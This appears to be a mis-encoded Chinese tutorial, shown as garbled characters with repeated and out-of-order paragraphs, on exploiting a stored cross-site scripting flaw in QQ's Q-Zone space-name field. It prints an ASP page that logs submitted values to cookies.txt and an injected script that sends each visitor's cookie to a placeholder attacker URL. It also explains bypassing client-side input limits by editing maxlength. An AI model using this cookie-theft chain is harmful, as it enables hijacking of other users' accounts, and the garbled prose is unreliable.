ÒòΪĿǰûÓÐʱ¼ä¿ÉÒÔ¹ÜÀíÆÀÂÛ£¬ËùÒÔÔÝÍ£ÆÀÂÛ¹¦ÄÜ£¡2009.12.19
Ô¶³Ì·þÎñÆ÷Ìá½»ÎÒÃÇÐ޸ĹýµÄÊý¾ÝÁË¡£
¡¡¡¡Ìáʾ£ºÎÒÃÇ¿ÉÒÔ½«¡°Test¡±»»³ÉÈÎÒâÖÐÎÄ£¬µ«ÊÇÐèÒªÏÈת»»ÎªIE±àÂ룬ÀýÈç¡°²âÊÔ¡±µÄIE±àÂëΪ¡°%B2%E2%CA%D4¡±£¬¾ßÌåµÄת»»¹ý³ÌÕâÀï¾Í²»Óöà˵ÁË¡£
¡¡¡¡3¡¢¼ì²â´úÂëÖ´Ðнá¹û
¡¡¡¡´ò¿ªÎÒÃǵÄQ-Zone£¬´Ëʱ»á×Ô¶¯µ¯³öÒ»¸öÌáʾ´°¿Ú¡£ËµÃ÷ÎÒÃÇÒѾÔÚÔ¶³ÌµÄÍøÒ³Öгɹ¦µÄ²åÈëÁË¡°<script>alert("test")</script>¡±ÕâÌõ´úÂ룡ͬʱÔÚÐ޸ĿռäÃû³ÆµÄÒ³ÃæÖУ¬¿ÉÒÔ¿´µ½ÒÑÌá½»Ð޸ĵÄÔÀ´±»ÏÞÖÆÁ˵ĿռäÃû³Æ¡£
¡¡¡¡Q-Zone¿çվ©¶´µÄ·ÖÎö
¡¡¡¡1¡¢Q-Zone¶ÔÓû§ÊäÈëµÄ¹ýÂË
¡¡¡¡½øÈëQ-Zoneºó£¬ÒÀ´Îµã»÷¡°ÉèÖáú¿Õ¼äÉèÖáúQQ¿Õ¼äÃû³Æ¡±£¬ÔÚÕâÀォ¿ÉÒÔÐ޸ĿռäµÄÏÔʾÃû³Æ¡£Èç¹ûÎÒÃÇдÈëÒ»¶Î¿ÉÖ´ÐеĽű¾´úÂ룬ֻҪ¹ýÂ˲»ÑϸñµÄ»°£¬Í¬Ñù»á±»±£´æÔÚÊ×Ò³ÖУ¬Í¨¹ýµ÷ÓÃÖ´ÐдúÂ룬´ïµ½¹¥»÷ä¯ÀÀÕßµÄÄ¿µÄ¡£ÏÂÃæÎÒÃÇÏȲâÊÔÒ»ÏÂÕâ¸öÊäÈë¿òÖÐÄÜ·ñдÈë¿çÕ¾½Å±¾£º
Q-Zone¿çվ©¶´µÄ·ÖÎö
¡¡¡¡1¡¢Q-Zone¶ÔÓû§ÊäÈëµÄ¹ýÂË
¡¡¡¡½øÈëQ-Zoneºó£¬ÒÀ´Îµã»÷¡°ÉèÖáú¿Õ¼äÉèÖáúQQ¿Õ¼äÃû³Æ¡±£¬ÔÚÕâÀォ¿ÉÒÔÐ޸ĿռäµÄÏÔʾÃû³Æ¡£Èç¹ûÎÒÃÇдÈëÒ»¶Î¿ÉÖ´ÐеĽű¾´úÂ룬ֻҪ¹ýÂ˲»ÑϸñµÄ»°£¬Í¬Ñù»á±»±£´æÔÚÊ×Ò³ÖУ¬Í¨¹ýµ÷ÓÃÖ´ÐдúÂ룬´ïµ½¹¥»÷ä¯ÀÀÕßµÄÄ¿µÄ¡£ÏÂÃæÎÒÃÇÏȲâÊÔÒ»ÏÂÕâ¸öÊäÈë¿òÖÐÄÜ·ñдÈë¿çÕ¾½Å±¾£º
¿çվ©¶´Ó¦ÓÃʵÀý¡ª¡ªµÁÈ¡Óû§Cookie
¡¡¡¡ÉÏÃæ½øÐеĽö½öÊÇÒ»¸ö¼òµ¥µÄ²âÊÔ£¬Èç¹û¹¥»÷ÕßÔÚQ-ZoneÖÐд³öΣÏյĴúÂ룬ÀýÈçµÁÈ¡ä¯ÀÀÍøÒ³ÕßµÄCookieÄÚÈݵĴúÂëʱ£¬¾ÍºÜÓпÉÄÜ»ñµÃCookieÖеĸ÷ÖÖÂÛ̳»òÍøÕ¾µÄÕʺż°ÃÜÂë¡£ÏÂÃæ¼òµ¥µÄ˵һ˵ÕâÖÖÀûÓ÷½Ê½£º
¡¡¡¡1¡¢ÉÏ´«CookieÊÕ¼¯ÍøÒ³
¡¡¡¡ÉêÇëÒ»¸öÍøÕ¾¿Õ¼ä£¬ÉÏ´«Ò»ÄÚÈÝÈçϵÄASPÎļþ¡ª¡ªinfo.asp£¬Õâ¸öÍøÒ³Ö÷ÒªÓÃÀ´ÊÕ¼¯ºóÃæµÄCookieÄÚÈÝ¡£
<%
testfile=Server.MapPath("cookies.txt")
msg=Request("msg")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing
%>
¡¡¡¡2¡¢ÔÚQ-ZoneÖÐдÈëµÁCookie´úÂë
¡¡¡¡ÔËÐС°Q-ZONE¸öÈË¿Õ¼äÃû³Æ¿çվ©¶´ÀûÓù¤¾ß¡±£¬½«ÏÂÃæµÄ´úÂëÌá½»²åÈëµ½Q-ZoneÖУº
¡°<script>window.open(¡¯http://***/info.asp?msg=¡¯+documents£¦#46cookie)</script>¡±
¡¡¡¡µ±ÆäËûQQÓû§ä¯ÀÀÄãµÄQ-Zoneʱ£¬¾Í»á½«ÔÚµ±Ç°ÍøÒ³ÖÐпªÒ»¸ö´°¿Ú£¬Á¬½Óµ½ÄãÖ¸¶¨µÄÊÕ¼¯CookieÍøÒ³£¬²¢½«×Ô¼ºµÄCOOKIEÄÚÈÝ·¢Ë͵½ÍøÕ¾¿Õ¼äÖеÄ"cookies.txt"ÎļþÄÚ£¬´ò¿ª¸ÃÎļþºó£¬¾Í¿ÉÒÔ¿´µ½ËùÓÐÓû§µÄCOOKIEÐÅÏ¢£¬¶øÕâЩCOOKIEÐÅÏ¢ÖкܿÉÄܾͰüÀ¨×ÅÓû§µÄ¸÷¸öÂÛ̳ºÍÍøÕ¾ÃÜÂëÕʺÅŶ£¡
¡¡¡¡Ð¡ÖªÊ¶£ºCSS¿çվ©¶´
¡¡¡¡¿çվ©¶´ÓÖ½ÐCSS©¶´£¬ÕâÀïµÄCSS¿É²»ÊÇÍøÕ¾Éè¼ÆÖеÄCSS(·Ö²ãÑùʽ±í)£¬¶øÊÇÖ¸ºÚ¿ÍÈëÇÖÕßͨ¹ýijÖÖ·½Ê½£¬ÔÚÔ¶³ÌµÄWEBÒ³ÃæµÄHTML´úÂëÖÐдÈëÌØÊâµÄ×Ö·û´®¡£µ±ÆäËüÉÏÍøÕßÔÚä¯ÀÀ´ËÒ³Ãæʱ£¬Ç¶ÈëÒ³ÃæÖеÄÕâЩ×Ö·û¾Í»á±»×÷Ϊһ¶Î½Å±¾´úÂë¶øÖ´ÐС£
¡¡¡¡ºÚ¿ÍÏòÔ¶³ÌÒ³ÃæÖÐдÈë´úÂëµÄ·½·¨ºÜ¶à£¬±ÈÈç×î³£¼ûµÄÊÇÔÚÂÛ̳Öз¢Ìûʱ£¬ÔÚÌû×ÓÖмÓÈë¿ÉÖ´ÐеĴúÂ룻»òÕßÔÚÍøÕ¾µÄÓû§×ÊÁÏÐ޸Ĵ¦£¬Ò²¿ÉÒÔͨ¹ý¸ü¸ÄÇ©Ãû¡¢ÁªÏµ·½Ê½µÈ£¬ÔÚÓû§ÐÅÏ¢Ò³ÃæÖÐǶÈë½Å±¾´úÂë¡£ÎÞÂÛ²ÉÓúÎÖÖ·½Ê½Ð´ÈëÖ´ÐдúÂëʱ£¬ÒªÇóÍøÒ³³ÌÐòûÓжÔÓû§ÊäÈëµÄÊý¾Ý½øÐÐÑϸñµÄ¹ýÂË£¬ÓеÄÍøÒ³³ÌÐòÏÞÖÆÁËÓû§Ð´ÈëµÄ×Ö·ûÀàÐÍ£¬ÓÐΣÏÕµÄÌØÊâ´úÂë¾ÍÎÞ·¨Ð´ÈëÖ´ÐС£ÀûÓÿçվ©¶´£¬ÈëÇÖÕß¿ÉÒÔ½øÐзdz£¶àµÄ¹¥»÷£¬±ÈÈçµÁÈ¡±ðµÄÈËCOOKIESÖеÄÕʺźÍÃÜÂ룬»òÕßαÔìÒ³ÃæÐÅÏ¢¡¢½øÐоܾø·þÎñµÈ¡£¿ÉÒÔ˵¿çվ©¶´ÊÇÒ»¸öΣº¦ÐԷdz£´óµÄ©¶´¡£
¡¡¡¡Óû§ÊäÈë¹ýÂË·½Ê½
ÍøÒ³³ÌÐò¶ÔÓû§ÊäÈë½øÐйýÂ˵ķ½Ê½Ò»°ãÓÐÁ½ÖÖ£ºÒ»ÖÖÊÇÔÚ·þÎñ¶Ë½øÐйýÂË£¬Ò²¾ÍÊÇ˵µ±Óû§½«Êý¾ÝÌá½»µ½ÍøÒ³·þÎñÆ÷ºó£¬ÔÚ·þÎñÆ÷¶Ë¶ÔÓû§µÄÊäÈë½øÐмì²â¹ýÂËÊÇ·ñ·ûºÏÒªÇó£»ÁíÍâÒ»ÖÖÊÇÔÚ¿Í»§¶Ë½øÐйýÂË£¬Ò²¾ÍÊÇ˵µ±Óû§ÊäÈëÊý¾Ýºó£¬ÔÚ½«Êý¾ÝÌá½»·¢Ë͵½Ô¶³ÌµÄÍøÕ¾·þÎñÆ÷ÉÏʱ£¬Ê×ÏÈÔÚ¿Í»§¶Ë½øÐÐÊý¾Ý¹ýÂ˼ì²â£¬·ûºÏÒªÇóÔÙ·¢ËÍ¡£±ÈÈçÐí¶àÍøÒ³³ÌÐòΪÁË·ÀÖ¹Óû§¹¹ÔìÌá½»µÄÊý¾Ý½øÐÐSQL¹¥»÷£¬ÔÚÔ¶³Ì·þÎñÆ÷¶Ë½øÐÐÁËÊý¾Ý¹ýÂË£»Í¬Ê±ÔÚÐí¶àÍøÕ¾ÉÏÎÒÃÇÒ²¿ÉÒÔ¿´µ½Ò»Ð©Óû§×¢²áÖ®ÀàµÄ±íµ¥£¬ÏÞÖÆÁËÓû§ÊäÈëÊý¾ÝµÄ³¤¶È£¬ÕâЩ´ó²¿·ÝÊÇÔÚ¿Í»§¶Ë½øÐÐÏÞÖƵġ£
¡¡¡¡ÐÞ¸ÄIEÌá½»Êý¾Ý
¡¡¡¡Ò»°ã˵À´£¬¶ÔÓû§ÊäÈë¶Ë½øÐеļòµ¥ÏÞÖÆ£¬¿ÉÒÔͨ¹ýÖ±½ÓÐÞ¸ÄÍøÒ³Ô´´úÂëÈƹý¡£ÀýÈçÉÏÃæÌáµ½µÄ¶ÔÓû§ÊäÈ볤¶ÈµÄÏÞÖÆ£¬Èç¹ûÎÒÃǽ«Ô´´úÂëÖеġ°maxlength="24"¡±¸ÄΪ¡°maxlength="1000"¡±£¬²¢½«ÉÏÃæµÄ¼ì²âÓû§ÊäÈëÄÚÈݵĴúÂë¶Îɾ³ýµôºó£¬±£´æ³ÉÒ»¸öhtmlÎļþºó¡£ÔÙÖØдò¿ª±£´æµÄHTMLÎļþ£¬¾Í¿ÉÒÔÍ»ÆÆÏÞÖÆÌá½»Êý¾ÝÁË¡£
======È«ÇòÃâ·ÑÖÐÐÄ°æȨÉùÃ÷(±¾Õ¾´Ó09-4-29¿ªÊ¼¼ÓÇ¿Ãâ·Ñ×ÊÔ´°æȨ¹ÜÀí)=========
²»¹Ü³öÓÚºÎÄ¿µÄתÔر¾ÎÄ£¬Çë×¢Ã÷°æȨÐÅÏ¢(°üÀ¨À´Ô´ºÍ×÷Õß)£¬·ñÔòÒ»¾·¢ÏÖ½«Öð¸ö´¦Àí¡£
Èô±¾Õ¾×ªÁËÄúµÄÐÅÏ¢¶øδ±êÃ÷»ò±ê´í»òδÕÒµ½³ö´¦¶øû±êÃ÷µÄ£¬ÇëÁªÏµÎÒÃÇ£¬2ÌìÄÚ´¦Àí¡£
ÒòΪĿǰûÓÐʱ¼ä¿ÉÒÔ¹ÜÀíÆÀÂÛ£¬ËùÒÔÔÝÍ£ÆÀÂÛ¹¦ÄÜ£¡2009.12.19